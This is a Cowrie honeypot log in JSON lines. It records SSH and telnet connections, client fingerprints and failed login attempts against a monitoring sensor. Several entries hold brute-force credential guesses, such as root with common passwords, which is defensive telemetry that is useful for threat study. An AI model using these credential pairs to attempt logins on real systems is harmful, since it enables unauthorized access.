{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:53.487440Z","src_ip":"213.202.230.81","session":"55eefe2866db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F10k1!M@st3r$","message":"login attempt [root/F10k1!M@st3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:53.748778Z","src_ip":"213.202.230.81","session":"55eefe2866db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013427734375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:53.779913Z","src_ip":"170.64.224.25","session":"0cdff257b854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:54.838468Z","src_ip":"213.202.230.81","session":"55eefe2866db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":56944,"dst_ip":"10.17.0.5","dst_port":22,"session":"8639a4a55555","protocol":"ssh","message":"New connection: 211.106.137.135:56944 (10.17.0.5:22) [session: 8639a4a55555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:02.508672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:02.529729Z","src_ip":"211.106.137.135","session":"8639a4a55555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:02.725927Z","src_ip":"211.106.137.135","session":"8639a4a55555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"1","message":"login attempt [gitlab-runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:03.541338Z","src_ip":"211.106.137.135","session":"8639a4a55555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47490,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a497e19345e","protocol":"ssh","message":"New connection: 159.65.58.200:47490 (159.203.135.109:22) [session: 6a497e19345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:04.592909Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:04.742104Z","src_ip":"211.106.137.135","session":"8639a4a55555","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:04.809752Z","src_ip":"159.65.58.200","session":"6a497e19345e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:04.813521Z","src_ip":"159.65.58.200","session":"6a497e19345e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shimanov","password":"123456","message":"login attempt [shimanov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:06.232727Z","src_ip":"159.65.58.200","session":"6a497e19345e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:07.694914Z","src_ip":"159.65.58.200","session":"6a497e19345e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":44026,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbbea5041fc0","protocol":"ssh","message":"New connection: 122.176.122.24:44026 (10.17.0.5:22) [session: bbbea5041fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:14.864585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:14.868114Z","src_ip":"122.176.122.24","session":"bbbea5041fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:15.132666Z","src_ip":"122.176.122.24","session":"bbbea5041fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gm123456","message":"login attempt [root/Gm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:16.225219Z","src_ip":"122.176.122.24","session":"bbbea5041fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:17.491630Z","src_ip":"122.176.122.24","session":"bbbea5041fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":43864,"dst_ip":"10.17.0.5","dst_port":22,"session":"870945f43ae4","protocol":"ssh","message":"New connection: 138.124.69.150:43864 (10.17.0.5:22) [session: 870945f43ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:20.316835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:20.320118Z","src_ip":"138.124.69.150","session":"870945f43ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:20.443824Z","src_ip":"138.124.69.150","session":"870945f43ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXC123456","message":"login attempt [root/ZXC123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:20.962040Z","src_ip":"138.124.69.150","session":"870945f43ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:22.086766Z","src_ip":"138.124.69.150","session":"870945f43ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":38304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c589e377101a","protocol":"ssh","message":"New connection: 105.27.148.94:38304 (10.17.0.5:22) [session: c589e377101a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:29.871401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:29.874849Z","src_ip":"105.27.148.94","session":"c589e377101a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:30.080215Z","src_ip":"105.27.148.94","session":"c589e377101a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro123","message":"login attempt [root/pedro123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:30.935305Z","src_ip":"105.27.148.94","session":"c589e377101a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:32.144039Z","src_ip":"105.27.148.94","session":"c589e377101a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50048,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b3d974052a","protocol":"ssh","message":"New connection: 147.45.199.80:50048 (159.203.135.109:22) [session: 29b3d974052a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:32.360048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:32.363742Z","src_ip":"147.45.199.80","session":"29b3d974052a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:32.461212Z","src_ip":"147.45.199.80","session":"29b3d974052a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"197611","message":"login attempt [root/197611] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:32.759289Z","src_ip":"147.45.199.80","session":"29b3d974052a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:33.860663Z","src_ip":"147.45.199.80","session":"29b3d974052a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":58190,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4f79a1c44c","protocol":"ssh","message":"New connection: 113.161.222.150:58190 (159.203.135.109:22) [session: 4c4f79a1c44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:36.697802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:36.701768Z","src_ip":"113.161.222.150","session":"4c4f79a1c44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:36.935932Z","src_ip":"113.161.222.150","session":"4c4f79a1c44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TempPass123","message":"login attempt [root/TempPass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:37.911575Z","src_ip":"113.161.222.150","session":"4c4f79a1c44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":52456,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a12f7104f3","protocol":"ssh","message":"New connection: 129.121.102.3:52456 (10.17.0.5:22) [session: f2a12f7104f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:38.788911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:38.792400Z","src_ip":"129.121.102.3","session":"f2a12f7104f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:38.818146Z","src_ip":"129.121.102.3","session":"f2a12f7104f3","protocol":"ssh"}
